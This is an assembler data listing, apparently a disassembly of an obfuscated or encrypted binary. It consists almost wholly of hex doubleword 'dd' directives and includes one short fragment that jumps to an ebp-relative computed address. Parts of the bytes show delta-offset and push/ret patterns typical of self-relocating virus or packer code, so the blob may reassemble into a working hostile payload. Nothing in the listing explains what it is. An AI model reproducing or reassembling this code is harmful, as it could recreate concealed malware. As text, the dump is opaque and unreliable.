dd 366322CEh, 0DB8924Eh, 4845D4AFh, 2D0D958Bh, 0C75F07A8h
dd 0A80A5985h, 595C07h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 4AAFE35Bh, 0D8BF0F8Bh
dd 93985C7h, 7A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 990151C3h, 259D519Ch
dd 216D9D8Bh, 0B5FF07A8h, 7A81479h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0AFC35141h, 0EC74D5C0h, 6A75FDC3h
dd 2B18B4ACh, 0A80095BDh, 9995FF07h, 6A07A81Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0C907C355h, 95FF006Ah, 7A80D21h, 6CEBC08Bh, 0C727222Ah
dd 49077F34h, 1B426A6Bh, 5CBAF4Ah, 7F33FEBDh, 0A65F28CCh
dd 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 119474DDh, 41CDF0DCh
dd 0ABF6A0E6h, 0F13E1106h, 33E936Dh, 0A73228C9h, 9A254204h
dd 1C8BAF8Ah, 1633E7B8h, 0AEA823A3h, 834C277h, 91805CCBh
dd 8A017042h, 15D12264h, 0DD455311h, 0BDFF13EAh, 7954D520h
dd 9041CF25h, 25719D8Dh, 90B807A8h, 89000024h, 0A82DF585h
dd 0E807h, 5580000h, 0Dh, 90E90389h, 24h, 923h dup(0)
dd 0E8000000h, 7, 4142C89Bh, 0FD53E0Dh, 665EDBBFh, 46CE281h
dd 6B70C681h, 870F0000h, 6, 0DE1BD29h, 0C93307A8h, 33B900B8h
dd 3134FF0Dh, 0DE9h, 0EACA1600h, 33E9615Ah, 0B62A7C50h
dd 0F55FC816h, 7A77EF81h, 0C2811438h, 36FB3774h, 0CEF0EF81h
dd 5AB37631h, 575EF781h, 8B665FF0h, 9D8B57C3h, 7A81D2Dh
dd 0E90E048Fh, 0Eh, 58B62436h, 7EF89CCAh, 0E38BB472h, 958BCB5Fh
dd 7A83059h, 8B04E983h, 0A8110D95h, 24F98107h, 0FFFFF95h
dd 0FFFF9485h, 0BBC280FFh, 7E9h, 6535BA00h, 5Dh, 5A5E9h
dd 898E4F00h, 0CEC98B74h, 0F08D0B9h, 524511FAh, 9681543Dh
dd 4F567381h, 8D768B8Ch, 0CFB8CDCAh, 0FF80D0Ah, 5333484Fh
dd 0F386EB4h, 0A43ECBAAh, 6717C7F6h, 0E1B3EB02h, 0A45E2BF6h
dd 76975136h, 0B86F2EABh, 0C0D5F6E1h, 451007D7h, 0B3A473ACh
dd 20031BE8h, 176C597Eh, 58E09BD1h, 829AA1D3h, 3D30CA5h
dd 0C27C4914h, 5CCF6507h, 0C2A5BD83h, 0E4835512h, 0E1022334h
dd 8EE3C216h, 0C9948355h, 12E81EFCh, 37EED359h, 3E567760h
dd 6929B823h, 0FF54596Eh, 591383B9h, 6A8289D3h, 0B0C5D287h
dd 3A0512C7h, 3F237FA1h, 0F9C798EBh, 3C5BFEE1h, 3720F471h
dd 92FF066Ch, 0C46863C7h, 6C3720F3h, 112A2DEFh, 0DFAE8DF8h
dd 6338C732h, 472B7FDBh, 93B49553h, 0D2C5957Eh, 0EAEDACE5h
dd 5D3A521Fh, 59249AD3h, 72DD74D3h, 0A84D8CC6h, 94551Bh
dd 0AB530000h, 56E88E89h, 5EA9EEE1h, 9D05BF33h, 3E6FEE9h
dd 1E574453h, 2C925D7Ah, 0A6CF7F07h, 0CEE607C9h, 582F67F1h
dd 8E09D359h, 0CC978055h, 61CCE7FFh, 0A819FDB5h, 1441Bh
dd 0C7420000h, 0DC150215h, 0ADAA6E39h, 29F415E2h, 0EA67445Ch
dd 0E5622D2Ah, 0B0A77631h, 0A62FDEF6h, 0F305CCFh, 710C744h
dd 0FE19BF3Ch, 0EA556E33h, 0FD68630Bh, 5FF9AE6Eh, 19021738h
dd 0E9EEAE79h, 1B30511Eh, 457BC116h, 0CD358EBh, 58EB90C6h
dd 0E18F96D3h, 4A4D09DAh, 14C74C32h, 19BB3803h, 716E33FEh
dd 70A0D61Ch, 9FA6D359h, 410C0BCEh, 0D6415C74h, 0FAEA9447h
dd 7A7DC2F3h, 0BFA8BDDEh, 0B60BF81Fh, 59093A70h, 213940D3h
dd 611C744h, 72DDF63Bh, 0A798FCC6h, 8A451Bh, 0C7430000h
dd 9F380314h, 0D5A0B766h, 0C8938458h, 0DFC2DAFBh, 0F8311E39h
dd 0B4613225h, 0F30BD8A3h, 5CC7C216h, 1C090ECDh, 0CDCA8EC7h
dd 21573502h, 27D35970h, 0F8E10820h, 0EA673225h, 0E3195F2Ch
dd 0E9D35970h, 0B1F6C1E2h, 0B9812D98h, 1BA7FFh, 5Dh, 6A14C7FEh
dd 0F5B330EBh, 6A3556E9h, 0F30AAFD1h, 0CC406BD2h, 81C6B912h
dd 0F00897A7h, 2E83480Dh, 5926B2E8h, 0D3B1B8D3h, 0D359269Dh
dd 0B07B9CA3h, 5CEB5667h, 9D899EB9h, 370215C7h, 597074ADh
dd 4CB74ED3h, 0AB468A1h, 1229CF61h, 87527310h, 0E8A2A2BAh
dd 311BA8D3h, 1, 611C72Fh, 0FB1CBE3Bh, 1106D50Eh, 0B37E9940h
dd 76F1CEE6h, 9CF5EC9h, 7C9DBA5Eh, 7C58BD67h, 8468498Fh
dd 676EDB01h, 68AE039Ch, 0DB018432h, 36193138h, 755E7364h
dd 5DE7B2A5h, 0DB018425h, 7C475008h, 723D5AFFh, 0CEAD1829h
dd 26B52031h, 54766374h, 35B3Bh, 2249612Fh, 3523FB1Dh
dd 3DEE75EBh, 0FCB6F955h, 647CF51Bh, 0D9C6D181h, 0C4DCFBA0h
dd 0AFA86AE7h, 0E525A0C2h, 871426EDh, 0B4CD926Fh, 0FF18BA49h
dd 89C3E5EAh, 167A5198h, 8FC3C3DBh, 52E3FFCAh, 165h, 0C5110650h
dd 0DEF99FD8h, 0A63DDE24h, 0D4EC148Bh, 0D09A8FD5h, 99A0DB00h
dd 0E68151CEh, 0FF278C32h, 0C63C65EFh, 8874DAA5h, 181450AEh
dd 1E335475h, 17C26535h, 0D9CF3500h, 0A586A1E7h, 0DAA5C6E7h
dd 23B21F41h, 42E0917Ah, 0EBB88394h, 0FCFB2CAh, 0CA958258h
dd 4C11DCFDh, 9939C833h, 2F63697Eh, 0F2E3F000h, 30h, 0C11506F0h
dd 70388ED4h, 0DDFF5359h, 0CD278E5Fh, 56162E2Eh, 0C4FA844Fh
dd 8D5358BDh, 0FC5DAD18h, 8FE52B18h, 95D358BDh, 0CE35798Eh
dd 77000000h, 0D8C51106h, 18C3D92h, 713C43DBh, 483522F4h
dd 334B4C0Fh, 4AE5070Ch, 0CA801269h, 34E6C9E1h, 59DB1157h
dd 0DAE1DB02h, 3177CCB9h, 0DB0258FBh, 5E2FA01h, 25A407Bh
dd 677023DBh, 0C17D1F9Ch, 994E8286h, 0ED9FA13h, 9E49B4C5h
dd 1A22258h, 2128DBh, 3CE75263h, 268E5E1Ah, 162E04CDh
dd 62A86333h, 0DB01932Ch, 1D0A2B32h, 0E46C1CFBh, 3D55A2F4h
dd 5CEF1116h, 0FE7D2426h, 3522C6DEh, 669FF4E1h, 9F8FA7B0h
dd 0E2B0EED1h, 8EE3D0D7h, 0B0EE1248h, 0F91118E2h, 0D8FF9F1Ch
dd 7AE5920Dh, 0C81D2D2Ah, 0B0EE4C82h, 6D4B52E2h, 0E2B0EE37h
dd 2815363Dh, 0D9FE9AD3h, 0B0EEC5FBh, 0E2F5A8E2h, 16152D34h
dd 605002D0h, 0EC0108EAh, 0C5110600h, 73D83D8h, 0DD35970h
dd 0A9EFEE06h, 0DB08D1DBh, 0B4EDDAE1h, 0FEDBF3E4h, 0B1C6D181h
dd 360116C8h, 0D3244AACh, 0B96E2D35h, 6431FC1Bh, 59FB7843h
dd 192A733Eh, 2C27CFAEh, 776032C1h, 25D97962h, 83C9F334h
dd 35D2824Dh, 0C2924C53h, 0B7A0731Eh, 0DDFE1FECh, 0D6C19512h
dd 0CCCB8E0Bh, 0C2D58401h, 3DA8A3F7h, 77E28F5Eh, 0FEF8AACCh
dd 7A78E5C0h, 0D306FE34h, 0DCFD0435h, 2631E1C4h, 1D30C11h
dd 16334E7Dh, 68896328h, 0AAAD6D50h, 307DFh, 0DC490000h
dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 89523CF4h
dd 4C281E2h, 50000000h, 4B8h, 58C22900h, 5C241487h, 110C68h
dd 241C8900h, 50FD68h, 24048900h, 0AF617868h, 241C8B07h
dd 5404C483h, 8124048Bh, 4C4h, 0BD555200h, 8, 15DEA89h
dd 5A1A89C2h, 582434FFh, 4C481h, 34FF0000h, 0C4815B24h
dd 4, 0F918A2E9h, 7BE250FFh, 522CC7CFh, 0E14DF3D7h, 0ADB85B24h
dd 307AF66h, 34E0FFC5h, 0E046EFD3h, 1C0F50B5h, 0FF0EE0C5h
dd 0C4CA2F2h, 0F77947DAh, 0B17C812Ah, 8373150Fh, 9B7FD32Fh
dd 5B497779h, 0AA392371h, 8A2CA0C0h, 5F6A5A7Dh, 6855FAC8h
dd 5341829Eh, 0FE0E3722h, 0EDEB3CAh, 4A5730A8h, 0EDFFE8Ah
dd 0EAD5ABA8h, 0EDC5675h, 4A543EA8h, 0AE5DBA8Ah, 4A54EB57h
dd 0EDD468Ah, 0EAD5ABA8h, 0EDD0975h, 4A55D9A8h, 0EDD8B8Ah
dd 4AAA5BA8h, 0E220D8Ah, 0EAD5ABA8h, 0D42F2575h, 12853C25h
dd 36C6C003h, 90A75307h, 560D2D71h, 7242D121h, 0D42F4225h
dd 12853DFAh, 36CEC003h, 90A75307h, 560D2C20h, 725ED121h
dd 0D42F4225h, 12853EA9h, 36DAC003h, 90A75307h, 560D2FDCh
dd 72AAD121h, 0D42F4225h, 12853E32h, 3626C003h, 90A75307h
dd 560D2F69h, 72A6D121h, 0D42F4225h, 12853F8Ch, 3632C003h
dd 90A75307h, 560D2EEFh, 72BED121h, 0D42F4225h, 12853F0Eh
dd 363AC003h, 90A75307h, 560D2E55h, 72B6D121h, 0B8C34225h
dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 52C0D5F2h
dd 96A5EAE2h, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 0BD2EDD3Ah
dd 5342848Dh, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh
dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
dd 128525B6h, 1129475h, 0BA0D902h, 0AEA5EAFBh, 51A1EC79h
dd 0DC0941AEh
dd 0BA5B4A22h, 3773BA8Dh, 732ADF10h, 4F28C821h, 0EA2DFBD9h
dd 152BFD5Bh, 9881508Ch, 0FED35B00h, 0A5FBABAFh, 2C89EFD2h
dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
dd 51A2458Ah, 12C0D5F2h, 0DAA5EAE3h, 68A15CDDh, 0ADE78286h
dd 152A54A8h, 2030BACCh, 9E2DFCAEh, 0FC69CE52h, 0A5B99783h
dd 0FA31EFE2h, 0BA0D9F9h, 0AEA5EAFBh, 949A0D79h, 551A2320h
dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
dd 9521A901h, 15C23454h, 0BA2458Ah, 7C74BE29h, 24294225h
dd 1957DFA0h, 515E004Dh, 532A54A8h, 57D3D775h, 0CDA15300h
dd 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 0BA0D9F9h, 0AEA5EAFBh
dd 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
dd 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h
dd 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h
dd 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah
dd 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h
dd 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h
dd 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h
dd 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h
dd 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h
dd 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h
dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h
dd 0B2229D00h, 85E1D4A7h, 0DC088600h, 0BA5B4A22h, 0E173BA8Dh
dd 9FA7FEF8h, 560D3494h, 0D6A08557h, 5DDF6E20h, 74D62921h
dd 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h
dd 15D6116Fh, 0E9A2458Ah, 152A54AFh, 552BD775h, 45265300h
dd 4F28C820h, 0EA2DFBD9h, 0FB2BF55Bh, 3186949Bh, 59622E85h
dd 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h
dd 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah
dd 87D5FE04h, 560A43FBh, 17868C23h, 0DB2FEF49h, 128525B6h
dd 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h
dd 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h
dd 51A24576h, 0EA80F8A8h, 0F9A43418h, 0B9E2DFAFh, 0DC088558h
dd 0BA5B4A32h, 3771BA8Dh, 73E39410h, 0FB63CF21h, 9C262983h
dd 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh
dd 0D2262923h, 51A2B9CFh, 0BF8654A8h, 57D3D775h, 0DDA15300h
dd 0FB637726h, 6434CE25h, 825D4225h, 0E4AAECCEh, 9028EEECh
dd 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
dd 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h
dd 0BB0D903h, 0AEA5EAFBh, 9592327Bh, 0FD09234Bh, 6801FE04h
dd 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh
dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh
dd 560D3494h, 0A09A8757h, 0FB0E0320h, 6434CE25h, 825D4225h
dd 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h
dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h, 96A5EAE6h
dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 724ECE25h, 0DCF14225h
dd 0BA426F32h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
dd 2538C882h, 462DFBCFh, 3999DF07h, 0C6D55307h, 0B85E0003h
dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 560D220Ah, 2EB0D9FBh
dd 0AEA5EAE2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
dd 0BA4DD832h, 0CB2F168Dh, 12853C93h, 142B9675h, 152ABD54h
dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E8000030h, 9, 5456D56Ah
dd 941A54A0h, 8E0F6Fh, 5B000000h, 5E9h, 75A2E300h, 0C381BCB9h
dd 5BF6h, 2B73CD80h, 1F34FFFFh, 14E9h, 4F8DA100h, 46EF406Bh
dd 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0BF0F5E72h, 9EEE81D3h
dd 0E963DC20h, 0Eh, 0BA0A64F2h, 34DDD72Ch, 573D7E7Dh, 0EE8135D6h
dd 844F1A2h, 0FFD18166h, 22F68154h, 0E83994FDh, 8, 525B23C4h
dd 81BAB11Ch, 8E8h, 17DDA000h, 0DCC150CEh, 0C88B66C0h
dd 34895858h, 0BE93Bh, 438F0000h, 6A08CDC1h, 8311E541h
dd 5E83Bh, 0A5FC0000h, 0F53CB1C6h, 4EF8358h, 3FB1F0B8h
dd 0CCFF8157h, 0FFFFFA4h, 0FFFF6485h, 0BF0F52FFh, 8D8D59D2h
dd 7AF6EA3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0BAC35545h, 8D89DE8Bh, 7A81731h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 16h, 8FC35141h, 296019D5h
dd 0A80635BDh, 5BFC5607h, 92AABA61h, 85C70BA0h, 7A80A59h
dd 718Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 1EC35141h, 5BF1E435h, 41BBF78Bh, 0C77E333Dh, 0A8093985h
dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0A4EAD44Eh, 959D8B65h, 0FF07A82Fh
dd 0A82FC5B5h, 0B4F96007h, 95FF610Dh, 7A81A99h, 7A38BB50h
dd 8B5A6296h, 0A8235185h, 0FF006A07h, 0A80D2195h, 0EBC08B07h
dd 0A7D3CC4Eh, 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h, 0C1E2A608h
dd 0B763997Eh, 0DBC43B49h, 0FD985EF2h, 0A3C06D0Ch, 9796D125h
dd 55BA6D6Eh, 0D3FCE655h, 41F79C57h, 0FAB024E8h, 0E4F05D12h
dd 0C59713C2h, 53B79DDBh, 0AA5F7CD3h, 7E824E26h, 0E9141AD4h
dd 3Bh, 0A9BD8B60h, 8307A80Eh, 0C93304EFh, 20BBC18Bh, 83EDB883h
dd 8BE04C7h, 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh
dd 8941FFFFh, 0F98107h, 0F000001h, 0FFFFD382h, 8BC361FFh
dd 2AE9C8h, 4C70000h, 24h, 0E800h, 815D0000h, 0AF6F49EDh
dd 24448B07h, 45858904h, 0B807A82Ah, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+7A84E4Dh]
jmp ecx
; ---------------------------------------------------------------------------
dd 6754B8h, 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h
dd 0FD254376h, 0FD2562D4h, 0FD257515h, 0FD25FC8Bh, 0FD253A65h
dd 0FD25D853h, 0FD25A938h, 0FD251119h, 0FD254DF4h, 0FD256233h
dd 0FD257508h, 0FD25F16Dh, 0FD253ACEh, 0FD25D8AFh, 0FD25A988h
dd 0FD251F34h, 0FD254C98h, 358A259Dh, 0D6A22295h, 0DE714A76h
dd 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h
dd 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h
dd 0A3910B76h, 0A396E575h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h
dd 0F8B29074h, 701ABC75h, 5209DAF0h, 46FFA672h, 707D381Ah
dd 520951F0h, 86FF6C72h, 707D5D1Ah, 5209A1F0h, 4AFF3572h
dd 707DF11Ah, 520917F0h, 82FF1E72h, 707D641Ah, 520812F0h
dd 7EFF7B72h, 707DD61Ah, 520B29F0h, 7AFFD772h, 707D801Ah
dd 520B30F0h, 76FF4272h, 707D4A1Ah, 520B4FF0h, 72FFF072h
dd 707D131Ah, 520846F0h, 66FFA672h, 707D381Ah, 520B2FF0h
dd 6EFF6C72h, 707D5D1Ah, 52087AF0h, 6AFF3572h, 707DF11Ah
dd 520837F0h, 66FF1E72h, 707D641Ah, 5208B7F0h, 56FF7B72h
dd 707DD61Ah, 5208CDF0h, 52FFD772h, 707D801Ah, 520803F0h
dd 4EFF4272h, 707D4A1Ah, 52082FF0h, 62FFF072h, 707D131Ah
dd 52094AF0h, 5EFFA672h, 707D381Ah, 520964F0h, 5AFF6C72h
dd 767D5D1Ah, 557C08F0h, 9FF3572h, 767DF11Ah, 557EA6F0h
dd 5FF1E72h, 9C7D641Ah, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h
dd 0FAD5CD7Dh, 0F53FD525h, 9289ADFDh, 342290DAh, 0AC7ACFB7h
dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 520B9598h, 87FFA072h
dd 7D7D801Ah, 5215EDC8h, 0B409CF72h, 4B75E4C5h, 89BAF9B5h
dd 5EF8635h, 0BD7D131Ah, 452B96FEh, 0FD7A2F7Ah, 9282028Ah
dd 48F7CCDAh, 0FAD58A0Eh, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h
dd 0FD7A5E76h, 9282BA8Ah, 48F790DAh, 0FAD5A40Eh, 50FCD1F8h
dd 1F23228Ah, 87F787BCh, 0A07D131Ah, 0A320052Dh, 6D92EC2Ch
dd 4D7A9777h, 5779C1CDh, 928E708Ah, 3ED1F5DAh, 0FD78079Dh
dd 9BC2DA75h, 9B5954CDh, 9EFD0DEh, 9B7D381Ah, 959208DEh
dd 0B7AE577h, 8872F336h, 9EF866Eh, 4D7D131Ah, 0AD7954C5h
dd 928EBA8Ah, 9B2090DAh, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h
dd 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h
dd 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h
dd 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h
dd 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h, 3D59A568h
dd 0DF709491h, 4DBA07F5h, 6885B5FFh, 0FAD59D81h, 0FD5F1F2Fh
dd 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h
dd 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh
dd 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h
dd 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh
dd 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h
dd 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh
dd 5EF0D75h, 707DD61Ah, 521503C0h, 518A5D72h, 2D02C7Fh
dd 521563E0h, 0E5920872h, 4D7AE574h, 5779F825h, 2844B9Dh
dd 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h
dd 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh
dd 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h
dd 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh, 8CFF69B6h
dd 7D7D641Ah, 521594C8h, 0EC0FF372h, 9299FCF8h, 152ABBDAh
dd 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah
dd 9CCA0D8Ah, 8CF787DFh, 7D7D131Ah, 52152FC8h, 0F10F2F72h
dd 929912F8h, 152ACCDAh, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h
dd 0FAD5D38Dh, 893AC3F8h, 0F9F028DAh, 4DB93D6Dh, 562D619Ch
dd 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h, 928ECB8Ah
dd 4ACE28DAh, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h
dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 9EF68B6h
dd 7D7D641Ah, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah
dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 9282708Ah
dd 60F7F5DAh, 0FAD516A2h, 3E39A0F8h, 0FD7A4ECDh, 5EFD075h
dd 7E7D381Ah, 35F1CEB5h, 9EF1A89h, 577D5D1Ah, 15B98E97h
dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h
dd 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h
dd 0FAD55B25h, 7D86EAFCh, 521538CFh, 7975E572h, 0FD7AF2ECh
dd 0FD7A73CDh, 5E84375h, 0BD7DF11Ah, 9286ADFCh, 35F190DAh
dd 885E79F8h, 6F85E2DAh, 0FAD59D81h, 1F3C7FFDh, 0FD6D0480h
dd 7F795E75h, 0FAD54089h, 0E5E01A35h, 7E7D6400h, 0FEF3E1B6h
dd 0FD644B22h, 77797975h, 0FAD5D389h, 887CECF8h, 598928DAh
dd 0FD722F2Bh, 6F85CB75h, 0FAD58A8Dh, 897E0AF6h, 447C7185h
dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h
dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h
dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h
dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h
dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h
dd 151AB2FEh, 0FD7A2F75h, 0CA90162Fh, 707D6400h, 520AE5CFh
dd 0F50F7972h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 0FDE7A226h
dd 7D7D3805h, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h
dd 0FD7ABC9Dh, 17FB0475h, 0FAD55A05h, 8D7A25F8h, 80F1CCDAh
dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0FAD52E75h
dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 8D7A58F8h, 0C2FBF5DAh
dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh
dd 40F7ABB6h, 0FAD59575h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h
dd 3DF19D14h, 78F7EFFEh, 0FAD5E778h, 0CA8BD08Ah, 67BE0CEBh
dd 0D770D86h, 227B4393h, 0F2E935EFh, 0E9000005h, 5E6h
dd 0F3080FD0h, 384D4A0Ah, 798E894Fh, 0B8CDCA90h, 0F60B0CCFh
dd 11C4E1E8h, 5108F106h, 93483146h, 0D4866F84h, 2FCEAEC3h
dd 0A9FBB3E9h, 711FB9CBh, 350017C7h, 29F4E3B8h, 1FEAEDACh
dd 19E4F3A2h, 692EF99Ch, 0E9824D6Eh, 70184E94h, 99DFD359h
dd 0D3597063h, 0ADB46269h, 0F3E4B295h, 1EEDAB28h, 5970A2D8h
dd 80A1A8D3h, 736438B5h, 0D7ED0FA8h, 20229FDDh, 4EC76B83h
dd 0BB609986h, 3F85849Ch, 0DB0824E6h, 9D1AE5ECh, 0DEC7DCFBh
dd 0FDAA6D3Ah, 0F718395Eh, 950BA22Ch, 1C17E53Eh, 6BB106B1h
dd 0E53E9535h, 391C343Bh, 0B963789Fh, 215C85Ch, 0A5706731h
dd 0A8CAB7D8h, 8F49B498h, 36F0BD88h, 592A74C9h, 2CF9ABDh
dd 4196EBEAh, 3F03C5FBh, 0E5F2A8E5h, 989F4D1Ah, 793B9080h
dd 3A41ECEEh, 5146144Dh, 3ADF5C39h, 21F7301Dh, 0CD9E6B36h
dd 703D080Fh, 0A2C3158h, 7AD9BE5h, 6D506815h, 4BE4AFA8h
dd 41874412h, 0ECEEA30Bh, 0D1E90A11h, 11A9EBE1h, 5C0BCE31h
dd 6D39EB9h, 0F89D1AE5h, 87D14DFh, 484F0E9Dh, 0E78FB07Dh
dd 9DD681ECh, 420FDAFDh, 8592472Ah, 8551C670h, 0CEC55298h
dd 0C4CB38B9h, 702760F9h, 255F4F67h, 4038B9CEh, 5A10BC27h
dd 9F8137A3h, 7, 36C6C9Dh, 0C7AE0000h, 0BD3A0512h, 0BC4B631Bh
dd 65390413h
dd 781E5744h, 0AFC7945Fh, 928555D2h, 888F4AC7h, 74DFF8BDh
dd 0CA35AA95h, 64799E3Bh, 0EEB9DE7Bh, 93D0786Dh, 0DBFC9928h
dd 1C3BDDC6h, 1106D451h, 13ACB46h, 0ED2DA757h, 4292E1F5h
dd 0CF895621h, 3D6DDAA5h, 6B869E0Bh, 0E4A77100h, 589A689Eh
dd 46676ED3h, 3A433759h, 5218F10Bh, 0F41D133Ah, 0BB5095E0h
dd 0A9C1D682h, 0EB0017C6h, 75405702h, 6B3621F8h, 9DE33817h
dd 5095E167h, 334E666Dh, 799E39C8h, 9780538Ch, 380314C6h
dd 0E82C536Bh, 0BAh, 0C71F062Ah, 0B8DF7FFCh, 0F91EBAA3h
dd 706EA42Eh, 0A653D359h, 0EBECAC3Bh, 2D2AEDD6h, 0E56F1E40h
dd 0A2A94137h, 6E30AD8Ah, 76219E69h, 7A199661h, 0CDEEE9ADh
